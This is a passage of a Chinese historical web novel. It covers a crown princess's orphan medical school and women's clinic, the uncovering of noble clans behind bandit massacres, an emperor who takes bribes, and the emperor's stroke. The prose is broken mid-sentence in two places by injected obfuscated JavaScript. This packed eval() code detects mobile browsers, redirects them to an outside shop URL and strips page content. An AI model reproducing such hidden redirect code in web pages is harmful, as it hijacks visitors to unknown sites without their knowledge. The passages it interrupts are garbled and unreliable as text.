隔着寝衣还能感受到他掌心的温度,确实和手炉差不多,陆萸今日早已累极,为了等他才到现在,如今心里没有记挂的事,头贴在他的胸膛上,听着熟悉的心跳声,不知不觉就睡着了。 她睡着后,曹壬却迟迟不能入睡。 他知道世家和朝廷确实不是一条心,也知道他们不顾天下百姓的死活只顾自己快活,但若真是世家假扮成劫匪到处大开杀戒,那恶劣程度就远超过他们平日怠慢朝政而耽于享乐了。 只是,此事事关重大,没有凭证和线索是万万不能打草惊蛇的。 陆萸再次醒来时,曹壬早就上朝去了,今日女医署早上是女红课,她休息到午膳过后才去面试了几个女郎。 许是因为天冷,今日来面试的只有三人,不过郑氏女和裴氏女却很得陆萸的喜欢,二人年龄比陆萸小,谈吐却很稳重,最主要是二人很看好女医署的未来。 他们畅想的女医署,和陆萸心目中想要打造的已经接近一半。 不知不觉间,安和十五年终于走到尾声,年关至,守岁、换桃符、元日朝会、正月初一清晨放鞭炮,大魏正式迈入安和十六年。 经过一段时间的筛选面试,陆萸终于选聘了十三名世家女为文化课老师,如今女医署的孩子已达六百九十五名,共分成十一个班级。 正月初九,文化课正式开课,而马术课也紧跟其后,女医署外河畔有一块空地,陆萸让曹壬从东宫挑选出骑术老师,孩子们先在这块空地上学上下马基本动作,待动作要领学会,不会轻易落马,陆萸再带孩子们去城外马场跑马。 年前的匪患案一直没有破案,不过好在后来也没有继续发生那等惨烈的匪祸,所以让大家过了一个平安的年,新年伊始,朝中又把这事提上议程,毕竟商道维护不易,每个世家手里都有自己的商队,谁都舍不得放弃经商得来的利益。 陆弘从江东祭祖归来,给陆萸带来了一个好消息,陆歆的病终于好了,他现在比以前还要斗志昂扬,他直接发话把洛阳书店全部划给谢氏,以后陆氏将不参与洛阳书店的经营和分成。 陆弘还提出,大凡谢氏想开书店,只需列出所需书目,华亭陆氏都会免费提供所有书籍。 如此大气的支持超出了陆萸的意料,她原只是想把洛阳书店的经营权拿到手,然后定期向陆氏采购书籍,这样陆氏可以赚取书籍批发价。 看出陆萸犹豫,陆弘道,“祖父说娘娘已在高位,陆氏总得拿出自己的诚意。” 陆弘的未尽之言,陆氏不会给太子妃打感情牌让太子妃为难,陆氏要向太子和太子妃投诚,这就是陆氏的诚意。 “陆侯,还有其他话吗?”陆萸忍不住问,当年那个精神矍铄的祖父,是她在这世上难得的知音。 “祖父很喜欢那首诗,言盼着盛世能早日来临。” 曹壬把画给陆弘的时候,只说一杆翁的画已收藏多年,如今陆萸想赠送给陆歆所以留了一首诗。 陆弘本就喜欢一杆翁的画,看过后欣喜的收下了,也没有怀疑过其他。 “我们一起努力吧”陆萸回。 年后,仅两个月的时间,谢氏竟然在北方不同的州郡接连开了十六家星火书店,速度之快,令大魏世家都没反应过来。 星火书店营业,星火课堂的筹备也立马紧跟其后。 有陆氏星火课堂的口碑在前,谢氏的星火课堂抢了很多书院和学堂的生意,但没办法,星火课堂背后是谢氏和太子妃,他们只能敢怒不敢言,甚至还有学堂的夫子主动到星火课堂应聘讲师。 三月初一,大魏六所星火书院正式开学日,三十四家星火书店的星火课堂也正式开学,也是在这一年,三月初一,正式被大家称为星火点燃日。 97. 第九十七章 结案 安和十六年,甫一开春,陆萸和曹壬都忙得不可开交,二人已经连续两个多月没有在一起用膳了。 能见面说话聊天的时间也很少,经常是曹壬很晚才从宫里回来,好不容易躺在一起聊天,聊着聊着陆萸就累不住先睡着了。 开年的时候朝廷下了新的诏令,凡各州郡遭遇天灾人祸皆可将孤儿送来女医署,所以才进入二月份,又有大批孤儿送来医署。 才短短一个多月的时间,女医署的孤儿人数竟已突破一千人,男童的数量甚至已经达到三分之一。 陆萸原计划的三栋住宿楼和三栋教学楼眼看还得再增加,于是她又进宫和曹启皇帝要了女医署旁边的地,把原来的地盘扩成了两倍。 任何年代任何时候,人们只要看到如火如荼的建设场景,都会忍不住想到“希望”这个词,孤儿们听到从隔壁施工围墙内传来敲敲打打的声音,想到大魏和女医署都是充满希望的。 当大魏的世家们还沉浸在年节的喜庆氛围中没回过神来时,女医署和谢氏星火书店一样,偷偷扩大了规模之外,还迅速在东市开了一家医馆。 女医馆的牌匾由太学大博士旬衡亲笔书写,这是陆萸找大儒旬维的关系才好不容易拿到手的。 怕旬衡不答应,陆萸让陆弘替她传达:教书育人和治病救人,一个是充实人的思想,一个是强健人的体魄,在某种时候也算是共通的。 旬衡听后毫不犹豫地替她写了“大魏女医馆”几个大字,医馆的门面就在离洛阳华彩阁不远的地方。 东市比西大市冷清,环境也更简单,是陆萸把医馆选在这里的原因,哪怕是民风开放的大魏,女子主动出门看妇科,还是想要隐蔽不被人发现的。 女医馆开业前一天,陆萸让女医署的教学管理人员在洛阳内城和东西两市发放开业宣传手册,里面有医馆介绍,名医介绍,两大医仙的坐诊时间不定,但太医署几名妇科圣手的时间是固定的,凡有需求皆可上门看诊。 女医馆的诊室装修也主打保护顾客隐私,除了在一楼大厅挂有名医简介木牌,每个诊室的出入口都是不相同的。 葛医仙听说医馆的诊金会直接用在女医署那些孤儿身上,二话不说答应陆萸在开业后连续坐诊三天,徐医仙一听这话,也不甘落后,打算坐诊葛医仙后面的三天。 医馆一经开业,空前的热闹,两大名医的号甚至还得预约,好在女医馆并不按身份地位排号,所以大家只要耐心排队还是有机会看病的。 医馆开业前十天都是爆满状态,担心有人仗势欺人、扰乱就医治安,陆萸又和曹启皇帝要了五十名禁军维护治安。 如今的禁军一听到要和太子妃出任务,就一个个精神抖擞,他们上次与太子妃一起“洗劫”了世家,还亲自见证了一场盛大拍卖会,当他们听到拍卖所得时,想到那些孩子的口粮是他们抬回来的,心底既惊喜又骄傲。 他们归队前,太子妃还向他们承诺,以后禁卫军的所有遗孤都可以入女医署,不限男女,如今听到是为医署出任务,他们一个个抢着报名。 夏侯湛和陆萸对接的时候笑道,“如今我这个统领在他们心中不如您受他们欢迎。” 陆萸听后,笑回,“他们怕你敬你即可。” 夏侯湛点点头,“确实,军队还是得严肃些才行。” 陆萸不知夏侯湛如今是真心诚服太子,还是依然做着双面间谍,所以不敢和他聊太多,不咸不淡地聊几句就让他退下了。 夏侯湛却是真心希望太子夫妇能看到他的诚意,除了皇帝老了,他需要重新找对立场之外,他还从太子夫妇身上看到皇帝身上不曾出现过的真诚。 跟着这样的主人,他就不用每日提心吊胆地担心被帝王猜忌,如今的他越来越祈盼太平安稳的日子了。 女医馆成功开业,陆萸让灼华写信给她以前的师姐们,凡他们愿意,女医署皆可高薪聘请他们入职女医馆。 当初灼华被谢洐的人掳走时,留了书信给她的师父说她找到了家人,如今她写信回去,那边很快就回信了。 有三名师姐愿意来女医馆入职,大魏女医馆还未开业,陆萸就已经让星火学生争相宣传,如今女医馆的名声已传遍整个大魏,所以他们收到信后也没犹豫多久。 任何时候,人力才是第一生产力,她开女医署不能一直在砸钱而没有产出,那样就是算真有一座金山也不够她砸。 所以愿意参与生产且有能力的女童,也不能闲着,一些上过学的女童,如今可以轮流在医馆负责导医。 保证文化课没落下的前提下,他们的药学也要加紧学习,这样才能在医馆中帮上忙。 医馆开业仅十天,入账金额高达一万两白银,这全赖两大医仙,他们也没有提诊金的事,都说是为女医署的孩子们尽绵薄之力。 他们这样的美德,陆萸自然不会忘了大肆宣传,太医署的医官们听到后,也就没要开业这十天的诊金。 陆萸坐在华彩阁的雅间,喝着果茶,听着柳如筠上报医馆这几天的数据,心情美滋滋的。 医馆人员爆满,带动了周边商铺的生意,华彩阁就是最大的受益者。 想要就诊的女眷不愿意自己排队,但又不敢离开太远,华彩阁就成了他们休息的首选地,于是茶点生意和化妆品首饰生意也跟着爆火了。 陆萸这些日子过得既累又充实,如今医馆也顺利开业,剩下就是按部就班经营即可,想到最近没回去看萧家卉,她从华彩阁离开后直接去了忠义侯府。 谢洐夫妇去年底过继了一个五岁的男童,是谢氏本家的一个没了生母的庶子,谢洐给他改了名字叫谢欢,并在祭祖的时候重新上了族谱。 有了谢欢,萧嘉卉的日子也很充实,她也不像以前那样整日替谢知鱼担忧,如今听到女儿来访,忙开心地带着小儿子去门口迎接。 “阿娘身子不适,以后就不用到门口等我了”陆萸笑着牵过萧嘉卉的手道。 “是欢儿想出来等你。” “阿姊”谢欢甜甜的喊了一声。 谢欢性子比较木讷,估计和之前的生活环境有关,见到他,陆萸总会忍不住想起她在陆氏,未遇到曹壬之前的那几年。 “阿弟乖,今日有没有好好进学?”她伸手揉了揉他的头顶问。 谢欢没有避开头上的手,忙站直身子认真回答了他今日从晨起至今都做了什么,答得非常仔细。 萧嘉卉和陆萸相视一笑,陆萸笑道:“小小年纪就跟个老学究一样的弟弟养在忠义侯府,以后长大了不知会不会被说成是好歹竹出好笋。” 这样的笑言,让萧嘉卉也忍不住笑出声来:“你这话若被你阿爹知道,定要把你轰出去的。” 萧嘉卉已经看明白了,每次陆萸想起什么吃力不讨好的差事,或者想到什么砸钱没收益的项目时,谢洐就会气冲冲地把她轰出去,但回头又忍不住要替女儿去张罗那些事。 谢洐年初就出门替陆萸忙书店的事去了,他嘴上说着书店不挣钱,不值得浪费精力,但还是亲力亲为的跑遍了各个州郡,已经连续两个多月没有回来了。 对这样的父母,陆萸是感恩的,所以她无论多忙都会抽空回来看看他们,哪怕只是和他们斗斗嘴,围在火炉旁品品茶,她也觉得幸福且美好。 母女俩牵着手逛着园子,谢欢则安静地跟在身后,谢洐最有品味和审美,忠义侯府的景致比皇宫内院还要精致,每次逛都会有不同的发现。 眼看太阳偏西,萧嘉卉让人去备晚膳,门卫却来报太子殿下来接太子妃了。 曹壬刚下朝,身上的朝服还未来得及换下就来了这里,他进府后向萧嘉卉行了礼,然后说明此番来意,他要带陆萸去游洛河,所以不能用晚膳了。 陆萸看了一下天,这时候出城估计得摸黑回城了。 萧嘉卉听后,立时笑着把女儿推出去了,离别前还不忘耳语,“殿下也是懂心疼人的,难说你今夜能圆房。” 陆萸听后,一刻都不敢逗留,忙红着脸转身入了马车。 二人入车内后,马车开始行进,她刚要张口问曹壬怎么想起游洛河,他就突然伸手抱住了她。 他这次的拥抱和以往几次都不一样,抱得那样用力,甚至让她隐隐感觉到疼痛,但她没有挣扎,因为她从他身上感受到了一股深沉压抑的情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261717|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种情绪,既悲痛又无助,织成了一张细细的网,像要将二人紧紧裹在一起,若没有她拉一把,他可能会一个人深陷在这张网里无法自拔。 不知过了多久,陆萸才轻柔出声,“君期,出了何事?” “去年的匪祸案已查到眉目,可父皇突然不让我们继续查了”曹壬沉声回。 陆萸听后,也是一惊,为何年初还催着大家破案的曹启皇帝突然又改主意了呢? 如果只是不让查,曹壬不会这样难过,他肯定查到了什么才会如此,她边思考边轻轻拍着他的背。 不知过了多久,曹壬的情绪终于平复,才抱着她,把下巴放在她的头顶,用仅二人能听见的声音,将他查到的缓缓向陆萸说出来。 曹启皇帝于五日前突然提出要结案,这让太子和负责这两起案件的官员都大惑不解,奈何皇帝强势至极,便只能准备草草结案。 可曹壬不死心,他的人已经查到一些线索,眼看真相就要水落石出,如此放弃就是半途而废。 于是他没有让他们停下来,而是转成偷偷地去查,谁知,查到的结果却让大家都大惊失色。 石氏确实参与了两起劫杀案,但他们只是提供兵器和部分人马,两起案件加起来实际上参与的有四家世家,除了石氏,还有琅琊王氏、渤海高氏、赵郡李氏。 若只是这样的结果,曹壬也不会情绪波动至此,他们继续深挖下,才知道,长期稳定参与的是石氏,但合作的世家却是更换的,就是说除了这几家,之前还有其他家参与了,他们如今查到兰陵萧氏和河东柳氏也曾参与过。 石氏做劫匪比任何一家都熟练,做得久了,也越来越有钱,就担心遭人妒忌,所以想到偶尔找其他世家下水。 以往他们做得很隐蔽,也从不乱杀人,而这次之所以要如此残暴,是因为不满陛下选了曹壬为太子,他们打算大杀四方,吓唬吓唬皇帝。 他们是想通过这两起案件告诉皇帝,世家并不怕曹氏皇族,他们手里有钱有兵马,他们可以完全超脱于大魏律法之外,他们想告诉皇帝世家才是真正的大魏律法。 “所以,父皇是因为收到某个世家的恐吓,才阻止你们继续查下去?” 陆萸疑惑地问,顿了一下又道,“这理由好像还不够。” “对,仅这样的理由,当今陛下又怎会退缩,他之所以想尽快结案,其根本原因,是他已深陷其中”曹壬说完这话,痛苦地闭上了眼。 他用了当今陛下,而非父皇,陆萸听后惊恐地抬头看他,“所以,他参与了分赃?” 曹壬闭着眼,忍了须臾才接着解释如此令人发指的真相。 曹启皇帝没有直接分赃,但他收了石氏和高氏的贿赂,对,没听错,一个皇帝竟然收受世家的贿赂,而且不只一次。 国库没钱,皇帝的私库更是没钱,但皇室的排场要摆,皇室的脸面要做起来,那钱从哪里来呢?就只有收受世家的贿赂。 他们还未查清是否还有其他世家贿赂了皇帝,目前查到的就是石氏和高氏,其中石氏贿赂的最频繁,金额最巨大。 所以曹启皇帝之前想查后来又着急结案,是因为他现在才知道那些贿赂是赃款。 倘若贼喊捉贼就罢了,这个贼竟然是当今皇帝,这样的结果一旦曝光出去,曹氏皇室就彻底完了。 届时,曹氏即便坐拥天下,也不会再被天下人拥护,如今的世家虽然拥兵自重,且一副不可一世的样子,但表面上还是和曹氏皇室一派和气,一旦爆出如此丑闻,皇室这个吉祥物不可再用,定会有一个新的世家取而代之。 这个世家可能是杨氏,也有可能是其他手握兵权的世家,而一旦世家纷纷崛起相争,大魏又将迎来一轮新的动荡,百姓又将面临几年甚至几十年的战乱。 所以,曹壬才会如此痛苦,这样的真相,让他不得不向皇帝和世家妥协,他赌不起,那些是无辜百姓的命,也是将士们刚刚用生命换来的和平。 为了追查这样的结果,他的手下死了很多,如今他却只能随皇帝的意愿结案,这让他无颜去面对那些追随他的人,更觉得连身上这个曹姓都是脏的。 98. 第九十八章 皇帝中风 陆萸在听完曹壬的解释后,内心虽然触动,却不像曹壬那么难受,毕竟她前世看过魏晋南北朝那段不堪回首的历史,所以对这个朝廷从来不抱什么希望。 可曹壬不同,当初在白马寺时,他对曹启皇帝描绘下的大魏还心存幻想,所以才会满腔热血地参与太子之争。 做上太子之位之初,他是心怀远大理想并想要付诸行动去实现的。 如今,这案子的真相却让他知道,曹魏的天下其实从上到下都已经烂透了,皇帝收受贿赂,其实已经和买官卖官没有任何区别。 九品中正制虽然都是世家互推,好歹还能找到举荐人才的理由,买卖官爵就只剩毫无底线的官场黑幕了。 这样毫无底线的行为会抹杀掉那些有志青年的理想和抱负,也让那些尸位素餐的世家官员愈加肆无忌惮。 她能跳出这个朝代看问题,所以更能理解身在这个朝代并身负曹氏血脉的他此刻有多绝望。 想来,他现在看到皇室对他的供养时都能立马想到那些东西沾着无数人的鲜血。 她紧紧地回抱住他,只盼着这样的拥抱能把他从那样万劫不复的思绪和自责中拉回来。 她没有就这件事安慰他,而是用平缓的语气,向他讲述了从明帝曹睿到司马氏篡位建晋,直至西晋灭亡的这段历史。 西晋王朝,后来的史学家评论,因其得位不正且司马氏在大街上众目睽睽之下追杀前朝皇帝,所以被后世唾弃,而西晋的帝后更是贪婪无度,收受无数贿赂,也被后世史学家抨击。 陆萸讲得不是很详细,她只是把前世知道的历时大事件串起来,但却让曹壬听完后对那样的朝廷心生恐惧。 原以为终结了三国战乱,完成大统一后,百姓终于可以迎来休养生息的机会,可以迎来太平盛世,谁知晋王朝竟然把天下百姓带入了更深的万劫不复。 八王之乱,世家竟然就那样放弃了北方,让胡人的铁骑随意践踏膏腴之地,烧杀抢掠,以人肉烹之,几句简短的词汇背后都是一个个令人不寒而栗的历史真相。 陆萸讲完后,安静地陪着他,过了须臾后问:“君期,曹魏的天下,还未走到那一步,不是吗?” 曹壬怔怔地看着陆萸,眼中也渐渐恢复清明,“阿萸,我知道接下来该怎么去做了。” 他又恢复了斗志,真好,陆萸笑回:“你想好了就去做,想做什么,我都会在你身后支持你。” “阿萸,谢谢你”曹壬说着,再次把她紧紧揽入怀中。 陆萸只是将耳朵贴在他胸前,然后无声地拍了拍他的后背,他们还有很长的路要走,所以如今还得振作起来。 眼看天边夕阳下沉,二人最终没有去洛河畔,而是调头回了东宫。 这一夜,二人难得早早躺在床上,却一个也没开口说话,只安静地看着帐顶想着事情。 不知过了多久陆萸睡着了,曹壬过了许久才发现。 他小心地把她揽到胸前,每次听着她绵长的呼吸声,总能让他觉得踏实和安心。 翌日清晨,陆萸醒来时曹壬早已进宫,她简单梳洗后去了女医署。 今日的朝会用时很短,朝臣们无一人再提起匪祸案。 散朝后,曹壬主动和曹启皇帝提出想去白马寺为那些无辜死去的人诵经点长明灯。 “你想去几日?”曹启皇帝问。 “三日”曹壬平静地回。 “想去就去吧,早去早回。” 曹壬得到首肯后郑重行礼,“谢父皇成全”礼毕,随即转身。 “你,没有什么想要问朕的吗”身后的曹启皇帝急声询问。 “没有”曹壬未回头,声音一如以往的平静。 身后再无声音,他疾步走出太极殿。 曹启皇帝坐在龙椅上,怔愣许久,然后似喃喃自语般开口,“他对朕很失望吧?” 一旁的庆平低着头,静默不语。 “他还是太年轻了呀,不过,这样的他确实比先太子强太多了”曹启皇帝自顾自地感叹着,笑容既无奈又苦涩。 曹壬明明已经查到真相,却没有对他歇斯底里地质问,甚至只字不提那件案子,这样的沉稳他是欣赏的,但他也知道,从今以后,太子不会再信任他了。 曹启皇帝因为曹壬心中的善念和理想而欣赏重用他,但最终也因为这个,自己将渐渐被他疏远,他将成长为雄鹰后彻底摆脱自己。 曹壬去白马寺的事并没有隐瞒朝臣,他是带着东宫属臣一起去的,属臣们随太子在白马寺上过香后就离开了,太子则继续留下来为亡魂守斋戒诵经。 三天的时间其实很短,但对于百姓而言,太子已身居高位却依然愿意亲手为亡魂点长明灯,实属难得。 曹壬点好长明灯后和主持净觉关起门诵经,这期间,二人也聊了很多,至于聊了什么无人知道。 几日后,太子回东宫,一切又恢复到了从前。 几日后,发生了一件事,承恩侯竟然想让太子妃代为拍卖一堆藏品,这些藏品为历代谢氏家主所收藏之物。 承恩侯府日渐衰败,但他们早已习惯奢华,以前靠着谢洐的救济还能勉强维持,谢洐单独建府后,他们终于维持不下去了。 去年知道太子妃可以把平平无奇的家具卖得那样的好价钱,承恩侯就心动不已,谢氏家主的藏品肯定比那些家具值钱呀。 当然,他也没有以长辈的身份压着太子妃,而是提出只要能拍得好价钱,太子妃可提一个点的佣金。 太子妃也出自谢氏,看到祖父变卖祖上藏品,不知道是以什么心态接下这样的拍卖需求,一时间洛阳都城的人都在嘲笑陈郡谢氏。 陆萸没有马上答应承恩侯,而是去问了刚刚从魏郡回来的谢洐,对这件事有什么看法。 谢洐远比她想象的要豁达,他说:“承恩侯府早被他们吃空了,还拿得出什么宝贝?谢氏家主的藏品?那不过是用来糊弄人罢了。” “那我这就去接下他们的需求?” “接,挣钱的生意为何不接?不过佣金要抽十个点,他们若舍不得,就让他们抱着那堆破东西喝西北风去吧”谢洐愤愤地回。 当年他养在太后膝下,每年回去祭祖的时候承恩侯世子防他跟防贼似的,其实他一点都不稀罕承恩侯的爵位,更不稀罕去继承那堆不值钱的破玩意。 陆萸得谢洐的同意后,高高兴兴地去和承恩侯世子谈判去了。 承恩侯世子是个很懂得变通的人,对陆萸的要求毫不犹豫就答应了,甚至还说里面的藏品若有她喜欢的,可以直接取用,无需参与竞拍。 谈好合作条款后,陆萸就把这事扔给丰年了,承恩侯府也很麻利的把东西全部拉来了东宫偏殿。 这次拍卖和前次不一样,毕竟谢氏已经落寞,没有什么人巴结他们,所以陆萸让丰年打的拍卖主题是:帝师珍藏品。 沾不了谢氏的光,总能沾沾帝师的光,这个帝如今还在位不是吗? 于是,平平无奇的物件在丰年的精彩介绍下,总能被赋予厚重的文化感和极高的收藏价值,所以这次的拍卖也取得了巨大的成功。 曹启皇帝听说承恩侯府要拍卖东西时,好奇之下拿拍品名录看过,却只是鄙夷之下在太后面前发了几句牢骚而已,他没有阻拦拍卖。 待拍卖会结束,听大家谈起拍品细节时,他才知道承恩侯把他送给老师的生辰礼、赏赐等全部拍卖还不算,竟然连他手书的作业都给卖了,那些作业上除了他当初稚嫩的政治见解,还有老师细心写下的批复。 他和老师相爱相杀好几年,朝臣都要忘了这事,如今东西被拿出来拍卖,那些逝去的记忆再次被提起,他瞬间有一种被人扒掉衣服观赏的感觉,于是在既怒又羞之下,他病倒了。 曹启皇帝继位至今,一直勤勤恳恳,从未因身体原因休过朝,但这次不一样,他病后一直不见好,不得不让太子监国。 陆萸顾不上皇帝的病,一想到皇帝穷得要收贿赂才能养老婆孩子,她一门心思只想挣钱,她可不想让曹壬继位后因为怕养不起她而走上歪路。 这次替谢氏拍卖,她抽走了整整八万六千两白银的佣金,想不到帝师的名声这么好用,连一个被用得开裂的笔山都能拍出天价。 她继续忙着挣钱,看到财富增长,心情不错。 有一天,她突然发现被送来女医署的男童数量越来越多了,最近也没听说哪里有大规模动乱或者天灾呀。 至夜里,她把这个疑惑告诉曹壬时,曹壬是这样回答的,“这些孩子你接下就是,医药课不用上,文化课和孤女一样,女红课改箭术,我会去军中找授课老师给你。” 陆萸听后,精神大振,他这是要培养自己的军队? 她悄声问,“这些孩子真是孤儿?” 曹壬嘲讽一笑,把这些孩子的来历大致告诉了陆萸,这些男童里有孤儿,但只有少数,他们大部分是世家手中的世兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267554|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后代。 养兵千日用兵一时,世家们知道养兵前期投入巨大,而七岁及以下的男童现在还算不上真正意义的兵。 这个年龄的孩子能吃能长,既费粮食,又费布料,不养他们怕以后没有没有兵接替,养吧,又觉得太费粮食,于是听说女医署收七岁及以下的男童后,他们动起了歪心思。 他们让孤儿和这些孩子混在一起,让州郡官员以走失孤儿的名义登记后送来女医署,打算等孩子被养到十三岁左右的时候再让他们的父母来认领回去。 也就是说,女医署至少要养他们六年,六年,刚好能完成小学教育,也足够养成新的三观。 陆萸把头埋在曹壬胸前偷笑一阵后,感叹:“他们得有多自信,才会以为多年后这些孩子会愿意回去呢?” “孝道,他们会以孝道带走这些孩子,不过,回去也有回去的好处不是吗?”曹壬笑问。 陆萸突然想起一句话:从敌人内部逐个瓦解突破,才能兵不血刃。 世家们也不傻,不会想不到后果,只是,不知道他们是如何被说服把孩子送来女医署的。 她贴近他耳畔低声问,“你让何人说服那些世家的?” 她说话时呼出的气带着温度拂过耳廓,让他心头一震,他笑回,“这事就不牢你操心了。” “我只是好奇,你就告诉我吧?”陆萸眼巴巴的看着他。 她双眸亮晶晶的,里面满满的求知欲,如此灵动的模样,让曹壬忍不住想做点什么。 于是,他快速翻身,然后双手撑在她两侧,低下头看着她:“我们先做点其他的,然后我再告诉你。” 陆萸的好奇心刚好被勾起,哪里晓得他突然来这一遭,她一脸不悦地扭过头,不想搭理他。 他却俯下身,迅速找到了她的唇,用力吻了下来。 她想要出声反抗,却被他长驱直入,最后只能发出破碎婉转的声音。 他今日想必很开心,因为“剥竹笋”的时间比上次久,而且在陆萸忍不住娇,吟出声时,他还能耐着性子告诉她世家被说动的原因。 他在她耳畔低哑出声,“何人去说服世家并不重要,重要的是世家太贪心,且他们和大魏朝廷一样,内里早已烂透。” 陆萸迷迷糊糊地听着,却早已分不出神来想世家,只能跟着他的节奏彻底迷失在他用文火炖制的玉兰片汤中。 情到深处时,她用手去拉扯他的寝衣。 他却轻轻柔柔地把她的手拿开了,边将吻落在她耳垂上,边回,“我不敢用你的命赌,再等等。” 至于等什么,等多久,他没告诉她,她此刻也没精力去猜,只想像藤蔓一样死命缠裹着他沉沦下去。 二人的喘息声交织在帷帐间,耳鬓厮磨间,是两个饱含激情的灵魂在碰撞,哪怕前路艰辛,他们也迈出了成功的一步,今夜,他高兴,她也跟着他开心。 女医署另外一半教学楼和住宿楼也相继盖好,陆萸没有拆开中间的墙,而是以为了保护女童安全为由,把男童全部分去了另一半。 男女区分好后,陆萸让陆弘联系陆歆,让陆歆通知六大星火书院开始第一轮人才选拔,她要给男童们招老师。 星火书院于不同的时间成立,但每个学员的学习进度和知识吸收能力也不一样,所以她只限制年龄不得低于十三岁,其他皆不限制。 这是富有历史意义的一刻,之前星火书院也曾考核过学生,却只是各个书院自行组织,只为了考核本学期学习成果。 这次六大书院联动考核,让那些在书院苦读多年的学子第一次看到了希望。 星火书院的考核结果还没出来,成都王从成都发了一份奏报给曹启皇帝。 奏报中写:他成为鳏夫已三年,觉得甚是孤单,听闻陆氏女才貌双全,他看过她的画像和写的诗赋后彻底迷上了她,故已决定于三个月后正式迎娶陆氏女为成都王妃。 曹启皇帝自上次被承恩侯气病后,如今刚有些许恢复,正打算过两日重新临朝。 谁知看过成都王的奏报后,他大吐一口鲜血,直愣愣地倒了下去。 皇帝被气得晕倒后,太医们手忙脚乱地为他施针救治,花了很长时间,才终于把他救醒。 醒来后的皇帝却因为怒急攻心中风了,他的半边身子没有知觉也不能动弹,自此以后只能躺在龙床上。 一时间朝中一片惶然,年初还精神抖擞的陛下,怎么说倒下就倒下了呢? 99. 第九十九章 侍疾 曹启皇帝突然病倒了,太子需要去侍疾。 陆萸问,“我不用去吗?” “太子妃听闻父皇病重,惊忧之下旧疾复发,需要静养,等过几日好转了再进宫”曹壬边换衣服边回。 好吧,连理由都给她找好了,她就没必要去凑热闹了,想必如今宫里的女人们早已乱作一团。 既然是养病,她就不能再出去抛头露面了,思索一番后让青琼去寻陆弘。 去年十二月初,堂姊陆妘就病逝了,那时候陆萸忙着建医署和招聘老师的事,且已做过告别,所以只是让太子长史代表东宫去吊唁。 她一度以为陆氏和成都王联姻只是陆奂的一厢情愿,过完年后,陆歆已经康复,按理来说这亲事不可能成的。 陆弘在东宫前殿上职,听到传令后很快就来了。 “成都王是那般谨慎的藩王,他怎么会答应联姻,还先斩后奏?”陆萸问。 “回太子妃,臣的妹妹是自愿嫁给成都王的。” 陆弘答非所问,陆萸愣了一瞬“此话何意?” “臣的妹妹一心想嫁给成都王,如今终于能得偿所愿,是件喜事”陆弘言毕,看着陆萸沉默。 陆萸听后却是久久未能回过神来,陆弘言下之意,这婚是陆婠自己求来的,若是如此,定是陆歆找人去说服了成都王。 可是,想到那样优秀的姐姐去做继室,郞婿还是个年龄那么大的藩王,她心里还是不甘。 “妹妹让我转告娘娘:劫后余生,就该活出精彩,那里有她的广阔天地,您无需为她担忧”陆弘接着开口。 陆婠还是当年的陆婠,看问题的格局有时候比陆萸还大,知她会有不甘,甚至还留话安慰起她了。 如此,她也不能再说什么,木已成舟唯有一叹,“那便在此祝陆女郎早日实现心中理想。” 陆弘行礼,“臣替妹妹谢过娘娘。” 今日的天气不好,阴沉沉的天压得整个洛阳都城都透不过气,似正在酝酿一场更大的暴风雨。 陆弘退下后,陆萸独自坐在中室殿的书房,细细整理着今年发生的一桩桩事,她一直忙着女医署的事,有些细节就被她给忽略了。 如今想来,依然毫无头绪,但从谢氏拍卖藏品之后,曹启皇帝未再临朝,如今他彻底偏瘫在床,曹壬能否抓住这个机会自强起来呢? 曹壬急匆匆进显阳殿,看到的是一堆哭哭啼啼的宫妃、正在侍疾的皇后和冷静沉默的谢太后。 太极殿是上朝和议事的地方,曹启皇帝平时起居是在太极殿正后方的显阳殿,皇后和其他妃嫔则居住在显阳殿东西两侧的四个殿中。 曹壬成为太子后除了太极殿,后宫中来的最多地方是显阳殿和太后永宁宫,所以突然见到满屋子的妃嫔,他立在门口愣了一瞬。 谢太后一见曹壬,忙对面前的宫妃道,“行了,陛下要和太子议事,皇后留下,其他人都退下吧。” 那些宫妃听到后,起身擦了擦眼泪,然后按品级依次退出了显阳殿。 他们从太子跟前走过的时候,还忍不住偷偷看了几眼传说中佛心佛性的太子,可惜太子只是眼观鼻鼻观心,连个眼神都懒得给他们。 曹壬看到这么多莺莺燕燕,各种齐齐怪怪的香味也实在难闻,只能屏住呼吸,心想父皇后宫的女人可真多,还好阿萸今日没来,不然回去又得胡思乱想了。 “儿臣来迟了,还请父皇责罚”曹壬在曹启皇帝床前坐下后道。 “那些老家伙呢?想必都在等着看朕的笑话吧?”曹启皇帝气急败坏地开口,虽然已经偏瘫,声音却依然洪亮。 “朝臣正守在太极殿东堂,只等父皇下令,便可前来侍疾。” “侍疾?朕可消受不起,别来气朕就是”曹启皇帝一脸恼怒。 曹壬没有回话,只是沉默地守在床前。 “陛下如今病着,就莫要再动怒,养好身体才是关键”谢太后出言劝慰道。 有的人好脾气了一辈子,一旦生重病,就会把压抑多年的情绪暴露出来,一生要强爱装的曹启皇帝就是如此。 太子没来之前,他就已经口无遮拦地把朝臣们咒骂了一通,虽然没有指名道姓,但是如此这般,倘若被传出去也会寒了朝臣的心。 杨皇后只是安静地听他咒骂,因为朝臣里就有她的父亲,她若出声,肯定连她一起骂。 